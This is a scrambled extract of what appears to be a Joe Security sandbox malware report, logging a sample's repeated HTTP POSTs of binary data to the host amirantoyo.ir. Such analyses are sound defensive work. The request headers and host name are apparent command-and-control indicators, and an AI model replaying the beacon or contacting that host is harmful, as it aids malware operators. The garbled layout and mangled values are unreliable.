amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

amirantoyo.ir

CName Address
176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

176.9.242.251

Destination IP Destination Port Process

176.9.242.251 80

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0Xx0001)

IN (0X0001)

IN (0x0001)

IN (0x0001)

IN (0X0001)

IN (0Xx0001)
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Timestamp

Jul 20, 2021
18:36:23.923584938 CEST

Jul 20, 2021
18:36:24.073892117 CEST

Session ID

1

Timestamp

Jul 20, 2021
18:36:24.408906937 CEST

Jul 20, 2021
18:36:24.554714918 CEST

Session ID
10

Timestamp

Jul 20, 2021
18:36:28.868426085 CEST

Jul 20, 2021
18:36:29.022923946 CEST

Session ID
100

Timestamp

Session ID

101

Timestamp

kBytes
transferred

7368

7369

Source IP

192.168.2.4
kBytes

transferred

7370

7370

Source IP
192.168.2.4

kBytes

transferred
7382

7383

Source IP
192.168.2.4

kBytes
transferred

Source IP

192.168.2.4

kBytes
transferred

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49774

Direction

ouT

Source Port
49783

Direction
ouT

Source Port
49873

Direction

Source Port

49874

Direction

Data

POST /az/fivel/fre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: amirantoyo.ir

Accept: */*

Content-Type: application/octet-stream
Content-Encoding: binary

Content-Key: C3D4B8B8

Content-Length: 190

Connection: close

HTTP/1.0 404 Not Found

Connection: close

Content-Type: text/html; charset=UTF-8
Content-Length: 15

Date: Tue, 20 Jul 2021 16:36:24 GMT

Data Raw: 46 69 6¢ 65 20 6e 6f 74 20 66 6f 75 6e 64 2e
Data Ascii: File not found.

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

POST /az/five/fre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: amirantoyo.ir

Accept: */*

Content-Type: application/octet-stream
Content-Encoding: binary

Content-Key: C3D4B8B8

Content-Length: 190

Connection: close

HTTP/1.0 404 Not Found

Connection: close

Content-Type: text/html; charset=UTF-8
Content-Length: 15

Date: Tue, 20 Jul 2021 16:36:24 GMT

Data Raw: 46 69 6¢ 65 20 6e 6f 74 20 66 6f 75 6e 64 2e
Data Ascii: File not found.

Destination IP  Destination Port Process
176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

POST /az/five/fre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: amirantoyo.ir

Accept: */*

Content-Type: application/octet-stream
Content-Encoding: binary

Content-Key: C3D4B8B8

Content-Length: 163

Connection: close

HTTP/1.0 200 OK

Connection: close

Content-Type: text/html; charset=UTF-8

Content-Length: 23

Date: Tue, 20 Jul 2021 16:36:28 GMT

Data Raw: 08 00 00 00 00 00 00 00 46 69 6¢ 65 20 6e 6f 74 20 66 6f 75 6e 64 2e
Data Ascii: File not found.

Destination IP Destination Port Process
176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data
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Session ID Source IP Source Port

102 192.168.2.4 49875
kBytes

Timestamp transferred Direction

Session ID Source IP Source Port

103 192.168.2.4 49876
kBytes

Timestamp transferred Direction

Session ID Source IP Source Port

104 192.168.2.4 49877
kBytes

Timestamp transferred Direction

Session ID Source IP Source Port

105 192.168.2.4 49878
kBytes

Timestamp transferred Direction

Session ID Source IP Source Port

106 192.168.2.4 49879
kBytes

Timestamp transferred Direction

Session ID Source IP Source Port

107 192.168.2.4 49880
kBytes

Timestamp transferred Direction

Session ID Source IP Source Port

108 192.168.2.4 49881
kBytes

Timestamp transferred Direction

Session ID Source IP Source Port

109 192.168.2.4 49882
kBytes

Timestamp transferred Direction

Session ID Source IP Source Port

11 192.168.2.4 49784
kBytes

Timestamp transferred Direction

Copyright Joe Security LLC 2021

Destination IP

176.9.242.251

Data

Destination IP

176.9.242.251

Data

Destination IP

176.9.242.251

Data

Destination IP

176.9.242.251

Data

Destination IP

176.9.242.251

Data

Destination IP
176.9.242.251

Data

Destination IP
176.9.242.251

Data

Destination IP
176.9.242.251

Data

Destination IP
176.9.242.251

Data

Destination Port

80

Destination Port

80

Destination Port

80

Destination Port

80

Destination Port

80

Destination Port
80

Destination Port
80

Destination Port
80

Destination Port
80

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe
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kBytes
Timestamp transferred

Jul 20, 2021 7384
18:36:29.342695951 CEST

Jul 20, 2021 7384
18:36:29.490956068 CEST

Session ID Source IP
110 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
111 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
112 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
113 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
114 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
115 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
116 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
117 192.168.2.4

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49883

Direction

Source Port

49884

Direction

Source Port

49885

Direction

Source Port
49886

Direction

Source Port
49887

Direction

Source Port
49888

Direction

Source Port
49889

Direction

Source Port

49890

Data

POST /az/fivel/fre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: amirantoyo.ir

Accept: */*

Content-Type: application/octet-stream
Content-Encoding: binary

Content-Key: C3D4B8B8

Content-Length: 163

Connection: close

HTTP/1.0 200 OK

Connection: close

Content-Type: text/html; charset=UTF-8

Content-Length: 23

Date: Tue, 20 Jul 2021 16:36:29 GMT

Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e
Data Ascii: File not found.

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP  Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP  Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe
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kBytes

Timestamp transferred
Session ID Source IP
118 192.168.2.4

kBytes
Timestamp transferred
Session ID Source IP
119 192.168.2.4

kBytes
Timestamp transferred
Session ID Source IP
12 192.168.2.4

kBytes
Timestamp transferred
Jul 20, 2021 7385

18:36:29.822266102 CEST

Jul 20, 2021 7386
18:36:29.973572016 CEST

Session ID Source IP
120 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
121 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
122 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
123 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
124 192.168.2.4

Copyright Joe Security LLC 2021

Direction

Source Port

49891

Direction

Source Port

49892

Direction

Source Port

49785

Direction

ouT

Source Port
49893

Direction

Source Port
49894

Direction

Source Port
49895

Direction

Source Port
49896

Direction

Source Port

49897

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

POST /az/fivelfre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: amirantoyo.ir

Accept: */*

Content-Type: application/octet-stream
Content-Encoding: binary

Content-Key: C3D4B8B8

Content-Length: 163

Connection: close

HTTP/1.0 200 OK

Connection: close

Content-Type: text/html; charset=UTF-8

Content-Length: 23

Date: Tue, 20 Jul 2021 16:36:29 GMT

Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e
Data Ascii: File not found.

Destination IP  Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP  Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe
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kBytes

Timestamp transferred
Session ID Source IP
125 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
126 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
127 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
128 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
129 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
13 192.168.2.4
kBytes
Timestamp transferred
Jul 20, 2021 7387

18:36:30.285569906 CEST

Jul 20, 2021 7387
18:36:30.429853916 CEST

Session ID Source IP
130 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
131 192.168.2.4

Copyright Joe Security LLC 2021

Direction

Source Port

49898

Direction

Source Port

49899

Direction

Source Port

49900

Direction

Source Port

49901

Direction

Source Port

49902

Direction

Source Port
49786

Direction
ouT

Source Port
49903

Direction

Source Port

49904

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP  Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

POST /az/five/fre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: amirantoyo.ir

Accept: */*

Content-Type: application/octet-stream
Content-Encoding: binary

Content-Key: C3D4B8B8

Content-Length: 163

Connection: close

HTTP/1.0 200 OK

Connection: close

Content-Type: text/html; charset=UTF-8

Content-Length: 23

Date: Tue, 20 Jul 2021 16:36:30 GMT

Data Raw: 08 00 00 00 00 00 00 00 46 69 6¢ 65 20 6e 6f 74 20 66 6f 75 6e 64 2e
Data Ascii: File not found.

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Page 55 of 126



kBytes

Timestamp transferred
Session ID Source IP
132 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
133 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
134 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
135 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
136 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
137 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
138 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
139 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
14 192.168.2.4
kBytes
Timestamp transferred

Copyright Joe Security LLC 2021

Direction

Source Port

49905

Direction

Source Port

49906

Direction

Source Port

49907

Direction

Source Port

49908

Direction

Source Port

49909

Direction

Source Port
49910

Direction

Source Port
49911

Direction

Source Port
49912

Direction

Source Port

49787

Direction

Data

Destination IP

176.9.242.251

Data

Destination IP

176.9.242.251

Data

Destination IP

176.9.242.251

Data

Destination IP

176.9.242.251

Data

Destination IP

176.9.242.251

Data

Destination IP
176.9.242.251

Data

Destination IP
176.9.242.251

Data

Destination IP
176.9.242.251

Data

Destination IP

176.9.242.251

Data

Destination Port

80

Destination Port

80

Destination Port

80

Destination Port

80

Destination Port

80

Destination Port
80

Destination Port
80

Destination Port
80

Destination Port

80

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe
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kBytes
Timestamp transferred

Jul 20, 2021 7388
18:36:30.780405998 CEST

Jul 20, 2021 7388
18:36:30.926358938 CEST

Session ID Source IP
140 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
141 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
142 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
143 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
144 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
145 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
146 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
147 192.168.2.4

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49913

Direction

Source Port

49914

Direction

Source Port

49915

Direction

Source Port
49916

Direction

Source Port
49917

Direction

Source Port
49918

Direction

Source Port

49919

Direction

Source Port

49920

Data

POST /az/fivel/fre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: amirantoyo.ir

Accept: */*

Content-Type: application/octet-stream
Content-Encoding: binary

Content-Key: C3D4B8B8

Content-Length: 163

Connection: close

HTTP/1.0 200 OK

Connection: close

Content-Type: text/html; charset=UTF-8

Content-Length: 23

Date: Tue, 20 Jul 2021 16:36:30 GMT

Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e
Data Ascii: File not found.

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP  Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP  Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe
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kBytes

Timestamp transferred
Session ID Source IP
148 192.168.2.4

kBytes
Timestamp transferred
Session ID Source IP
149 192.168.2.4

kBytes
Timestamp transferred
Session ID Source IP
15 192.168.2.4

kBytes
Timestamp transferred
Jul 20, 2021 7389

18:36:31.304359913 CEST

Jul 20, 2021 7390
18:36:31.450320959 CEST

Session ID Source IP
150 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
151 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
152 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
153 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
154 192.168.2.4

Copyright Joe Security LLC 2021

Direction

Source Port

49921

Direction

Source Port

49922

Direction

Source Port

49788

Direction

ouT

Source Port
49924

Direction

Source Port
49925

Direction

Source Port
49926

Direction

Source Port
49928

Direction

Source Port

49929

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

POST /az/fivelfre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: amirantoyo.ir

Accept: */*

Content-Type: application/octet-stream
Content-Encoding: binary

Content-Key: C3D4B8B8

Content-Length: 163

Connection: close

HTTP/1.0 200 OK

Connection: close

Content-Type: text/html; charset=UTF-8

Content-Length: 23

Date: Tue, 20 Jul 2021 16:36:31 GMT

Data Raw: 08 00 00 00 00 00 00 00 46 69 6¢ 65 20 6e 6f 74 20 66 6f 75 6e 64 2e
Data Ascii: File not found.

Destination IP  Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP  Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe
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kBytes

Timestamp transferred
Session ID Source IP
155 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
156 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
157 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
158 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
159 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
16 192.168.2.4
kBytes
Timestamp transferred
Jul 20, 2021 7391

18:36:31.777991056 CEST

Jul 20, 2021 7391
18:36:31.924067020 CEST

Session ID Source IP
160 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
161 192.168.2.4

Copyright Joe Security LLC 2021

Direction

Source Port

49930

Direction

Source Port

49931

Direction

Source Port

49932

Direction

Source Port

49933

Direction

Source Port

49934

Direction

Source Port
49789

Direction
ouT

Source Port
49935

Direction

Source Port

49937

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP  Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

POST /az/five/fre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: amirantoyo.ir

Accept: */*

Content-Type: application/octet-stream
Content-Encoding: binary

Content-Key: C3D4B8B8

Content-Length: 163

Connection: close

HTTP/1.0 200 OK

Connection: close

Content-Type: text/html; charset=UTF-8

Content-Length: 23

Date: Tue, 20 Jul 2021 16:36:31 GMT

Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e
Data Ascii: File not found.

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe
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kBytes

Timestamp transferred
Session ID Source IP
162 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
163 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
164 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
165 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
166 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
167 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
168 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
169 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
17 192.168.2.4
kBytes
Timestamp transferred

Copyright Joe Security LLC 2021

Direction

Source Port

49938

Direction

Source Port

49939

Direction

Source Port

49940

Direction

Source Port

49941

Direction

Source Port

49942

Direction

Source Port
49943

Direction

Source Port
49944

Direction

Source Port
49946

Direction

Source Port

49790

Direction

Data

Destination IP

176.9.242.251

Data

Destination IP

176.9.242.251

Data

Destination IP

176.9.242.251

Data

Destination IP

176.9.242.251

Data

Destination IP

176.9.242.251

Data

Destination IP
176.9.242.251

Data

Destination IP
176.9.242.251

Data

Destination IP
176.9.242.251

Data

Destination IP

176.9.242.251

Data

Destination Port

80

Destination Port

80

Destination Port

80

Destination Port

80

Destination Port

80

Destination Port
80

Destination Port
80

Destination Port
80

Destination Port

80

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Process

C:\Users\user\Desktop\8rbuJ8Ycvl.exe
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kBytes
Timestamp transferred

Jul 20, 2021 7392
18:36:32.273228884 CEST

Jul 20, 2021 7393
18:36:32.424187899 CEST

Session ID Source IP
170 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
171 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
172 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
173 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
174 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
175 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
176 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
177 192.168.2.4

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49948

Direction

Source Port

49949

Direction

Source Port

49950

Direction

Source Port
49951

Direction

Source Port
49952

Direction

Source Port
49953

Direction

Source Port
49954

Direction

Source Port

49955

Data

POST /az/fivel/fre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: amirantoyo.ir

Accept: */*

Content-Type: application/octet-stream
Content-Encoding: binary

Content-Key: C3D4B8B8

Content-Length: 163

Connection: close

HTTP/1.0 200 OK

Connection: close

Content-Type: text/html; charset=UTF-8

Content-Length: 23

Date: Tue, 20 Jul 2021 16:36:32 GMT

Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e
Data Ascii: File not found.

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP  Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP  Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe
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kBytes

Timestamp transferred
Session ID Source IP
178 192.168.2.4

kBytes
Timestamp transferred
Session ID Source IP
179 192.168.2.4

kBytes
Timestamp transferred
Session ID Source IP
18 192.168.2.4

kBytes
Timestamp transferred
Jul 20, 2021 7393

18:36:32.757621050 CEST

Jul 20, 2021 7394
18:36:32.902890921 CEST

Session ID Source IP
180 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
181 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
182 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
183 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
184 192.168.2.4

Copyright Joe Security LLC 2021

Direction

Source Port

49956

Direction

Source Port

49957

Direction

Source Port

49791

Direction

ouT

Source Port
49958

Direction

Source Port
49959

Direction

Source Port
49960

Direction

Source Port
49961

Direction

Source Port

49962

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

POST /az/five/fre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: amirantoyo.ir

Accept: */*

Content-Type: application/octet-stream
Content-Encoding: binary

Content-Key: C3D4B8B8

Content-Length: 163

Connection: close

HTTP/1.0 200 OK

Connection: close

Content-Type: text/html; charset=UTF-8

Content-Length: 23

Date: Tue, 20 Jul 2021 16:36:32 GMT

Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e
Data Ascii: File not found.

Destination IP  Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP  Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe
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kBytes

Timestamp transferred
Session ID Source IP
185 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
186 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
187 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
188 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
189 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
19 192.168.2.4
kBytes
Timestamp transferred
Jul 20, 2021 7395

18:36:33.227195024 CEST

Jul 20, 2021 7395
18:36:33.373167992 CEST

Session ID Source IP
190 192.168.2.4
kBytes
Timestamp transferred
Session ID Source IP
191 192.168.2.4

Copyright Joe Security LLC 2021

Direction

Source Port

49963

Direction

Source Port

49964

Direction

Source Port

49965

Direction

Source Port

49966

Direction

Source Port

49967

Direction

Source Port
49792

Direction
ouT

Source Port

49968

Direction

Source Port

49969

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

Destination IP  Destination Port Process

176.9.242.251 80 C:\Users\user\Desktop\8rbuJ8Ycvl.exe

Data

POST /az/five/fre.php HTTP/1.0
User-Agent: Mozilla/4.08 (Charon; Inferno)
Host: amirantoyo.ir

Accept: */*

Content-Type: application/octet-stream
Content-Encoding: binary

Content-Key: C3D4B8B8

